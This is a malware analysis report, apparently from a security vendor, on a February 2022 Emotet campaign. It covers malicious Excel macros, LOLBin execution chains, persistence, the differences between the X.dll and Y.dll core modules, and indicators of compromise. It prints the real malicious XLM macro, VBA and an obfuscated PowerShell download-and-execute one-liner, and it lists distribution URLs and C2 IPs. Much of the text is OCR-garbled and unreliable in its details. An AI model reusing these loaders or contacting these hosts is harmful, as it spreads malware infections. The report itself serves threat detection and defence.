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Prologue

Emotet first appeared in June 2014 as a banking trojan and has mainly been used since to
target the financial sector. In 2021, Emotet was classified as the most widely seen malware
by law enforcement and judicial authorities. Back in January 2021, law enforcement and
judicial authorities took down the Emotet botnet. On November 15, 2021, Emotet

returned as reported by the Cryptolaemus team.

Cynet Orion Threat Research and Intelligence Team are closely tracking Emotet TTPs
(tactics, techniques, and procedures) on a daily basis, and have seen some rapid and
drastic changes since its return. On February 21, 2022, we observed a new Emotet
campaign where it utilizes new attack methods and TTPs. We have detected a mass
malicious email distribution and a high volume of traffic on two main botnets Epoch 4
and Epoch 5.

While investigating, we found the use of a new artifact which did not exist in previous
campaigns, “Y.dIlI”. In the previous Emotet campaign, on November 15, the malware was
branded “Project X” — an alias given due to the internal use of the name X.dll. Likewise, we
decided to name the new Emotet variant “Project Y”.
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Emotet campaigns start with a malspam email and in most cases, it utilizes a thread
hijacking method to deceive users into trusting the email. Thread hijacking is a method in
which the email’s subject title begins with “RE:”, pretending to be a legitimate email reply.
This email’s contents are stolen from previous Emotet infections. In some cases, Emotet
malspam campaigns contain attachments in the form of Word or Excel documents. We
have also observed password-protected zip archives being sent as attachment in such
malspam emails.

A Brief History of Emotet:

Emotet threat group members collaborated in the past with Trickbot’s operators by
deploying each other’s payloads during infections. Before the takedown, the Emotet Kkill-
chain flow consisted of dropping Trickbot’s payload which led to ransomware infection by
Ryuk (CONTI). The first indication of the return of Emotet on Nov 15, 2021, was discovered
by cyber security researchers that noticed that Trickbot payloads are dropping Emotet’s
loader. After a month, on December 15, we discovered that Emotet started deploying Cobalt
Strike beacons on the compromised hosts. This is new behavior of Emotet might indicate
that additional new capabilities and strategies might be used as well.

Summary

Since the return, Emotet struck with a diverse arsenal of TTPs, such as malicious
documents, in both Word and Excel formats, that contain either VBA or XLM macros.
Likewise, we also observed different LOLBins abused by Emotet such as mshta,
PowerShell, wscript, rundll32, and more. We will cover the changes (TTPs) Emotet
underwent since its return in November 15 in a separate article. In the current article, we
will review the recent (February 21, 2022) Emotet campaign’s infection activity which
consists of new TTPs and the new Y.dll payload.

Initial Access and Execution Flow:

Initial access was delivered via malspam email with an attachment of password-protected
zip that contains an Excel malicious document. We have observed two types of Excel
documents, one has protected VBA macro and the second has XLM version 4.0 macros. In
both cases, the user needs to enable macros to start the infection. Shown in figure 1-2:

The document with the XLM macros:
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Figure 1: Shows the Emotet malicious document XLM macro, hidden sheets and AutoOpen
function
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I=CALL"urImon","URLI ", "JICCBE"0, "http:/)

|=1F(DDWD<0, CALL{"urimon”, "URLD ","1ICCBa"0,"

/g |

=IF{DDWDL1<0, CALL["urlmon","URLDownloadToFileA","LICCBEB",0, "https://iashan]

|=1F(DDWD2<0, CALL{"urmon","URLDownloadToFileA","JCCBB" 0, https://www.pl

|=IF{DDWD3<0, CALL["urlmon”,"URLDawnloadToFileA","JICCBB",0,"http: //dmdage]

=IF(DDWD4<0, CLOSE(0).)

[=EXEC("C:\Windows\SysWow64\regsvriZ.exe /s .. \xxwl.ocx")

I=ReTURN()

EFWFSFG

Figure 1.1: Shows XLM macro code that utilizes native API functions to download and
execute Emotet payload

The document with the VBA macros:
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| fyou are opening the attached fle with Excel and you see a Protected view warning,
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Figure 2: Shows the Emotet malicious document with a new fake message that deceives
the user to enable the VBA macros
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Figure 2.1: Shows the protected malicious VBA macro code
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Private Sub Workbook_Open()
Dim myArray(1l To 18) As Integer
Dim i As Integer: DFGrtHsrbuidfss.objawo4idhflds.Caption = _
Replace(Cells(130, 4), "bla", "")
For i =1 To 10
myArray(i) = (50 - (-50) + 1) * Rnd + (-50)
Next i
hjFGHJdrjosd8fodi DFGrtHsrbuidfss.lListBox1, _
DFthHeruidfss.ListBon, Cells(123, 4), DFGrtHsrbuidfss.objawod4idhflds.Caption
For i =1 To 10
If myArray(i) = 1228 Then
Exit Sub
MsgBox "adgfj doashdo”
Elself myArray(i) < -2751 Then
Exit Sub
MsgBox "fk\09d hso9d8hpoxc™
End If
Next i
Close #1
DFGrtHsrbéuidfss.tbfgaseGADSFHas.Text = "asf argasdfgas”
End Sub

Figure 2.2: Shows obfuscated VBA macro code from the Workbook_Open function

After the user enables the macros to run (User Execution, T1204), the infection continues
with the execution by abusing LOLBins. Same as before, each document has its unique
flow as explained below:

The document with the XLM macros:

As shown in figure 3, the execution continues with the abuse of the LOLBIn (Living Off the
Land Binaries), regsvr32:

¢< EXCEL.EXE (3044) Microsoft Excel C:\Program Files\... _ Microsoft Corporat.
= & regsvr32.exe (1652) Microsoft(C) Regis... C:\Windows\Sys... | Microsoft Corporat.
' regsvr32.exe (8580) Microsoft(C) Regis... C:\Windows\Sys... _ Microsoft Corporat.

Figure 3: Execution flow of the XLM macros document
We observed a repeated pattern in the regsvr32 command lines in all the samples that we
analyzed.

In case the document is not opened with an Administrator privilege, as part of the
execution, the payload is copied and executed from the %LOCALAPPDATA% directory:

regsvr32.exe /s ..\{random_payload_name}.ocx
L— regsvr32.exe /s “C:\Users\{user _name}\AppData\Local\{random_directory}\
{random_payload_name}.{random_extension}”

In case the document is opened with an Administrator privilege, as part of the execution,
the payload is copied and executed from the SysWoW&64 directory in %WINDIR%:
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regsvr32.exe /s ..\{random_payload_name}.ocx
L— regsvr32.exe /s “regsvr32.exe /s C:\Windows\SysWOW64\{random_directory}\
{random_payload_name}.{random_extension}”

All the patterns above can be used for both threat hunting and detection purposes.

The document with the VBA macros:

As shown in figure 3, the execution continues with the abuse of the various LOLBiIns:

¢ EXCEL.EXE (4416)
=) g .wscript.exe (5216)
=) ¢ powershell exe (2572)
2% conhost exe (5980)
= g% cmd exe (9840)
w4 Conhost .exe (9152)
= # regsvr32.exe (7712)

B regsvr32.exe (368

Microsoft Excel

Microsoft ® Wind...
Windows PowerS...
Console Window ...
Windows Comma...
Console Window ...
Microsoft(C) Regis...
Microsoft(C) Regis...

C:\Program Files\...

C:A\Windows\SYS...
C:\Windows\Syst ...

C:AWindows'\syst...

C:A\Windows\Syst...
C:A\Windows\Syst...

c:\windows\sysw...
C:A\Windows\Sys...

Figure 4: Execution flow of the VBA macros document
Also here, we observed a repeated pattern in the command lines of the LOLBIns that take

part in the execution flow.

wscript c:\programdata\{random_payload_name}.vbs

— powershell.exe -command

L— cmd.exe /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\

{random_payload name}.dll

— L regsvr32.exe /s c:\programdata\{random_payload_name}.dll
' regsvr32.exe /s “C:\Users\{user_name}\AppData\Local\
{random_directory}\{random_payload_name}.{random_extension}”

The VBScript code, which is executed by wscript, and the PowerShell command are shown

in figures 5 and 6:
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Pt T iw g]} d""":erdijv=replace (
ryulxdHSerw, "uiw", ””) gSEdJDSfy5JGHKdggdh run erdljv 0,true:dim HkjsdsfEhdse46d:HkjsdsfEhdseded=
replace (dfhoiw3eghld, "uerlx","") :gSEdJDsfy5JGHKdggdh.run HkjsdsfEhdsedéd,0

Figure 5: Shows the VBS (Visual Basic Script) file contents that are is obfuscated by the
replace method and concatenation. This is the code that eventually executes the
PowerShell command

command "$ghkid=("$MIXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp
contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp
includesdhjz92zVgHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode. comdhjFox
CcdhjNwssAbNOIDxhsdhjbouhttp:dhjdhjo2omart. co.indhjinfructuosedhjmamgt2meudhjbouhttp:dhjdhjmtc.joburg.org.zadhj
dhjGBGIeFxXW1NbABv2dhjbouhttp:dhjdhjwww.ama. cudhjjprdhjvvPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp
admindhjdusDsdhjbouhttps:dhjdhjdwwmaster.comdhjwp- contentdhjlsR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp
admindhj@JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LIPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhjeQbdhj\" -sPLIt \"
bou\";

foReACh ($yIdsRhye34syufgxjcdf iN $MIXdfshDrfGZsesd){$GweYH57sedswd=(\"
ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");

invoke-weBrequesT -uRI fyIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;
iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm %GweYH57sedswd).leNGth -ge 47523){bReak;}}}").replace(\"dhj\",\"/\");
iex #ghkid"

Figure 6: Shows the PowerShell command that executed as a one-liner via the PowerShell
process

The above PowerShell command is responsible for both downloading the Emotet payload
from a list of compromised URLs. The execution of the Emotet payload is performed by the
CMD process.

Persistence and Privilege Escalation

After the Emotet payload is copied to a new location (%WINDIR%/SysWoW64 or
%APPDATALOCAL%), it attempts to create persistence on the compromised host. The
payload utilizes different persistence techniques and the differences between them is based
on the user privilege.

In the unprivileged case, the payload achieves persistence by creating a Run key in the
Registry (Boot or Logon Autostart Execution: Registry Run Keys, T1547.001), as shown in
figures 7.1 and 7.2:
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& Registry Editor
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

e jal| Name Type Data
oo Sfpdai)| RS2 et s
S abljinsikuhngupl.ozx  REG_SZ C:\Windows\SysWOW64\regsvr32.exe /s "C:\Users\msm AppData\Lecal\Jskivmnieosegnzb\jinsikuhngupl.ozx"

ContentDeliveryManager
Controls Folder (Wow64)
Diagnostics
Explorer

Ext

Extensions
FileAssociations
FileHistory
GameDVR

Group Policy
GrpConv
Holographic

ime
ImmersiveShell
InstallService
Internet Settings
Lock Screen
Mobility
Notifications
PenWorkspace
Policies
PrecisionTouchPad
Prelaunch

Privacy
PushNotifications
RADAR

Run

Figure 7.1: Shows the Registry Run key with the payload execution command

. . = | C\Users\asa\ AppData\Local\Jskivmnieosegnzb

File Home Share View
c =2 v 4 l This PC Local Disk (C:) Users = AppData Local > Jsklvmnieosegnzb

Name ' Date modified Type Size

. jinsikuhngupl.ozx 2/16/2022 2:15 AM OZX File 1,108 KB

Figure 7.2: Shows the Emotet payload in the %APPDATALOCAL% path
In the Administrator-privileged case, the payload achieves persistence by creating a service
(Create or Modify System Process: Windows Service, T1543.003), as shown in figures 8.1

and 8.2:
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I8 Registry Editor
File Edit View Favorites Help
Computer\ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\whxvyjip

WinNat A || Name Type Data

WinQuic REG_SZ (value not set)
:Z::;R:fk REG_SZ This service sets time based on NITZ messages from a Mobile Network
WinSockz 35| DisplayName REG_SZ whxvyijlp
WINUSB 2% ErrorControl REG DWORD 0x00000000 (0)
WinVerbs |A" ImagePath REG_EXPAND_SZ C:\Windows\SysWOW6E4\regsvr32.exe /s "C:\Windows\SysWOWE4\Abzpvimgquwdrd\wixvy.jlp" I
wisve 2] ObjectName REG_SZ LocalSystem
Wiansve 224 Start REG_DWORD 0x00000002 (2)
wlidsve 24 Type REG_DWORD 0x00000010 (16)
wipasve ) wowe4 REG_DWORD 0x0000014¢ (332)
WManSve

WmiAcpi

WmiApRpl

wmiApSry

WMPNetworkSvc

Wof

workerdd

workfolderssvc

WpcMonSve

WPDBusEnum

WpdUpFitr

WpnService

WpnUserService
WpnUserService_886ad
ws2ifs]

wsesve
WSearch
‘WSearchldxPi
whavy.jlp
‘wuauserv,
WudfPf
WUDFRd
WuwanSve

Figure 8.1: Shows the service’s key in the Registry which contains the payload execution

command
C:\Windows\SysWOW64\Abzpvimgqvwdrd

Home Share View
1 . This PC Local Disk (C:) > Windows > SysWOW64 > Abzpvimgqvwdrd

Name Date modified Type Size

. whxvy.jlp 2/16/2022 4:02 AM JLP File 1,108 KB

Figure 8.2: Shows the Emotet payload in the SysWoW64 path

Differences between Project X and Project Y

In the previous campaign, Emotet’s core module was named X.dll. In the new campaign
(February 21, 2022) We have observed a different name for the core module, Y.dll. The
core module comes with the export function DIIRegisterServer. This naming convention
could be an indicator for new Emotet variants. We are still investigating this assumption.

Both X.dll and Y.dIl core modules are unpacked inside regsvr32 memory and can be
extracted from it, as shown in the figure below:
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e (6976) Properties

General Statistics Performance Threads Token Modues Memory Environment Handles GPU  Disk and Network Comment

[ Hide free regions
Base address Type Size Protect... Use Total WS Private WS Shareable WS Shared WS Locked WS
> 0x880000 Mapped 16k8 R 15kB 1548
> 0x830000 Mapped 8k R 8kB 8ka
> 0x8a0000 Private 8kB RW 8k8 8kB
> 0x8b0000 Image 12kB WeX C:\Windows\SysWowe4\sfe.di 57 regsvia2.exe (6376) (0x4600000 - Ox4623000) _ o %
> 0x8c0000 Private 63kB RW Heap 32:bit (ID 2)
> 0x8d0000 Mapped 32k8 R 00000000 Bld 52 50 00 03 00 00 00 04 00 00 00 ££f ££ 00 O A
» 0x3e0000 Private 64kB RW Heap (ID 1) 00000010 k& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 O
> 0x8f0000 Mapped sk R C:\Windows\System32\en-USkregsv... | 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 O
> 0x900000 Mapped a8 R 00000030 00 Q0 00 00 00 00 00 00 00 0O 00 00 <O 00 00 off ..
% 0x910000 Private 38 RW 00000040 Oe 1f ba Oe 00 b4 09 cd 21 b8 01 4c cd 21 54 69 ........ 1..1.'Th
il WMo RN Hep (D) 00000060 74 20 €2 €5 20 72 75 Ge 20 €6 ée 20 44 4¢ 53 < be sun in 205
N e e run in
7 0xa20000 Private 26kE RW Stack (thread 5008) 00000070 64 6£ €4 €5 2e 0d 0d Oa 24 00 00 00 00 00
> 0x250000 Private 2568 RW Stack 32:bit (thread 5008) 00000020 &2 10 bd 08 ac 71 d3 Sb ac 71 d3 Sb ac 71
> 0xaa0000 Private 256 kB RW Stack (thread 8388) 00000050 dl 08 3€ 5b 10 70 d3 Sb dl 03 0f 5b ad 71
> 0x3e0000 Image 36KkB WCX C:\Windows\SysWOWeE4yegsvr32.exe | 00000020 dl 08 0d Sb ad 71 d3 Sb 52 69 €3 68 ac 71
> Oxafo000 Mapped 32,768k8 NA 00000050 00 00 00 00 00 00 00 00 00 04 00 00 00 00
» Ox2af0000 Mapped 79668 R C:\Windows\System32Vocale.nis 0000000 S0 45 00 00 4c 01 04 00 %e £2 13 €2 00 00
j | om0 Magped 20818 R 000000¢0 00 24 00 00 00 00 00 90 aa &3 ob 00 00 10
e aa
:g:i:;ggg :ZE 2;‘:;::: : 000000£0 00 30 02 00 00 00 00 10 00 10 00 00 00 02
d 00000100 06 Q0 00 00 00 00 00 00 06 00 00 00 00 00
7 0x4360000 Private 256kB RW Stack 32:bit (thread 8338) 00000110 00 60 02 00 00 04 00 00 00 00 Q0 00 02 00
» 0x43a0000 Private 256kE RW Stack (thread 3534) 00000120 00 00 10 00 00 10 00 00 00 00 10 00 00 10
> 0x43e0000 Private 256 k8 RW Stack 32.bit (thread 3584) 00000130 00 00 00 00 10 00 00 00 00 30 02 00 4a 00
5 0x4420000 Mapped 8k8 R 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00
» Ox430000 Mapped 6K R 00000150 00 00 00 00 00 00 00 00 00 0O 00 00 00 00
Pacdan  Phoke i R 00000170 00 00 00 40 00 00 0D 00 00 00 a0 00 00 00
7 0x3360000 Mapped K8 RW 00000180 00 00 00 00 00 00 00 00 00 00 G0 00 00 00
7 0x4470000 Mapped 48 RW 00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00
7 0x4480000 Private 64kB RW Heap 32-it (ID 3) 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x4490000 Mapped 04ke R 0000010 00 Q0 00 00 00 00 00 00 2e 74 €5 78 74 00
000001c0 Sa 18 02 00 00 10 00 00 00 la 02 00 00 04
0x4600000 Private 140kE RWX 000001d0 00 00 00 00 00 00 00 00 00 00 00 00 20 00
a1 s dot @ £ o e sov0 t0 e
ppep— ;am; 'H:; :M Heap segment 32-bit (D 2) 00000200 00 00 00 00 40 00 00 40 2e &4 €1 74 €1 00
00000210 18 0c 00 00 00 40 02 00 00 04 00 00 00 20
» 0x4740000 Private 64kB RW Heap 32+t (ID 4) 00000220 00 00 00 00 00 00 00 00 00 0O 00 00 40 00
> 0x4750000 Private 152k RW 00000230 2e 72 65 6c 6£ €3 00 00 60 02 00 00 00 50
> 0x4780000 Mapped 3,292k8 R C:\Windows\Globalization\Sorting\So... | 00000240 00 04 00 00 00 24 02 00 00 00 00 00 00 00
> Ox4ac0000 Private 256 kB RW Stack (thread 9056) Re-read H Write Goto... "mbmw,w
> Ox4b00000 Private 6K RW Stack 32-bit (thread 9056)

Figure 9: Shows the unpacked Emotet payload inside the memory

We have compared both core modules, X.dll and Y.dll, and found some differences, as
shown in figures 10-11:

Offset

22000
22004
22008

Name Value

Characteristics 0
TimeDateStamp  61F77F3B
MajorVersion 0

Meaning

Monday, 31.01.2022 06:19:07 UTC

2200A MinorVersion
2200C Name
22010 Base

22014
22018
2201C
22020
22024

0
22032
1

X.dll

NumberOfFunc... 1
NumberOfNames 1
AddressOfFunc...
AddressOfNames 2202C
AddressOfNam...

22028

22030

Figure 10: Shows X.dlIl with the time stamp 31.01.2022
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Offset Name Value Meaning

21E0D Characteristics 0

21E04 TimeDateStamp  6213F29D Monday, 21.02.2022 20:14:21 UTC
21E08 MajorVersion 0

21E0A MinorVersion 0

21E0C Name 23032 Y.dll
21E10 Base 1

21E14 NumberOfFunc... 1

21E18 NumberOfNames 1

21E1C AddressOfFunc... 23028

21E20 AddressOfNames 2302C

21E24 AddressOfNam... 23030

Figure 11: Shows the Y.dll with the time stamp 21.02.2022
As can be seen in figures 12-13, both core modules are exporting the DIIRegisterServer
function, which is executed by the regsvr32 as part of the execution flow:

.rdata:1ee22e3e ;
.rdata:12022030@ ; Export Ordinals Table for X.dll
.rdata:1@022030 ;

.rdata:10022030 word_10022030 dw @ ; DATA XREF: .rdata:1@02282410
.rdata:1@0822032 axXDll db ') al',e ; DATA XREF: .rdata:1@@220eCto
.rdata:12022038 aDllregisterser db 'DllRegisterServer',@

.rdata:10022038 ; DATA XREF: .rdata:off_1802202Cto
.rdata:1@82204A align 1@eeh

.rdata:1002204A _rdata ends

.rdata:1002284A
.data:10023000 ; Section 3. (virtual address ©@023000)

.data:10023000 ; Virtual size : 9eeol118e ( 4430.)

.data:10023000 ; Section size in file : 90000400 ( 1024.)

.data:10023000 ; Offset to raw data for section: @ee23eee

.data:10023000 ; Flags (C0@@0040: Data Readable Writable

.data:1e@23eee ; Alignment : default

.data:18823BB0 ; s======s======sss==========Ss====s=sss==ss=Ssssss=ss=ssssssssssssssssssssssss
.data: 10023000

.data:10823000 ; Segment type: Pure data

.data:1002300@ ; Segment permissions: Read/Write

.data:10023000 _data segment para public 'DATA' use32
.data:10023000 assume cs:_data

.data:10023000 ;org 1ee23eeeh

.data:10623000 db 65h ; e

Figure 12: Shows the DIIRegisterServer export function inside X.dll
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rdata:1ee21e2C ;

.rdata:1862182C off_1e82162C dd rva aDllregisterser ; DATA XREF: .rdata:lee2léz2efo
.rdata:1882182C ; "DllRegisterSerwver”
.rdata:1ee821e3e ;

.rdata:1@821838 ; Export Ordinals Table for ¥.d1l

rdata: 18821838 ;

.rdata: 18821838 word_10621038 dw @ ; DATA XREF: .rdata:1e821824fo
.rdata:18821832 aYD1l db "¥.d11l',®8 ; DATA XREF: .rdata:lee218e8Cto
.rdata: 18821633 aDllregisterser db 'DllRegisterServer',@

.rdata: 18821833 ; DATA XREF: .rdata:off_1882182Cto
.rdata: 10821844 align 1eeeh

.rdata:18821844 rdata ends

.rdata: 18821644

.data:18e22688 ; Section 3. (virtual address @88226@86)

.data: 1022000 ; Virtual size : ep@eless | 4188.)

.data:18@22688 ; Section size in file : Geebedsa | 1824.)

data: 1822808 ; Offset to raw data for section: 88828486

.data: 18022080 ; Flags CoBe@848: Data Readable Writable

.data:1ee22888 ; Alignment : default

.data:1@@2288@ ; ===========sssossssosooosoosoososooSSoSooSSSSSSooSSSSoSSoSSSSSossSoosoosssoos
.data: 1822680

.data: 18822800 ; Segment type: Pure data

.data: 18822888 ; Segment permissions: Read/Write

.data:lee22608 _data segment para public 'DATA' use32

.data: 1822680 assume cs:_data

.data:1ea22600 ;Org 18e22e88h

.data: 1822888 unk 160822088 db 3Eh ; = ; DATA XREF: sub 18815988+31Dto
el A AASAAR A Arsle . 4

Figure 13: Shows the DIIRegisterServer export function inside Y.dll
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MDS5 hash Type

57595f82e73bed372c669e907d4db642 DLL
4af61ef4287eb683eb2869e1fbatc1fd9

f5e7d2c7e4568efb55d999bfd3e5e0ac
3a3bfc5e4f8573b0ef10ac5693d76d78
arf7aef892b99248f072d55802e657a5
464618b1bb56d13bd7d4c703ec9d3c1f
4014333649b5c8a189ec8308cfdb54d9

492ebe377b5974b4a9f47e9831cc6555 XLS
824f883a79f90cc31272bed6f56f2c7d

8ba05c5653ab14ae48058c70e401fbd3
€397e14490f1d0d71aa7d6c9f2b5331b
45e49c0baa32799b15259b3367e58770
cf99fabd8a930ede37f007139d4370f2
6df575e25cc88a6e3a9306dbf2efe39¢c

7baad56cc483132b8b9cb7a14722c3b1  VBS
Distribution URLs

http://explorationit[.Jcom/screwing/AxLm/
http://www[.]beholdpublications[.]Jcom/home/BABxyyWZx8Vu/
http://myclassroomtime[.Jcom/mongery/ZIPsROtQiXlujimJmAA/
http://www[.]ajaxmatters[.Jcom/c7g8t/zbBYgukXYxzAF2hZc/
http://animalsandusfujairah[.Jcom/wp-admin/JWO058zeUQOwSI/
http://vipwatchpay[.]Jcom/Isoetales/5wy8LOTQ1xCZEr/
https://duvarkagitlarimodelleri[.Jcom/42hhp/gZXakh7/
https://havuzkaydiraklari[.Jcom/wp-includes/YqYdLFA/
https://dalgahavuzu[.Jcom/pwkfky/LFOWU/
https://kinetekturk[.Jcom/e2ea69p/9U5207jTobF8J/

Emotet C2 servers
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150.95.20[.]209
213.190.4[]223

135.148.121[.]1246
103.96.220[.]147
134.209.156[.168
79.143.181[.]160
50.30.40[.]196
156.67.219[.184
175.107.196[.]192
103.134.85[.185
207.38.84[.]195
46.41.130[.]218
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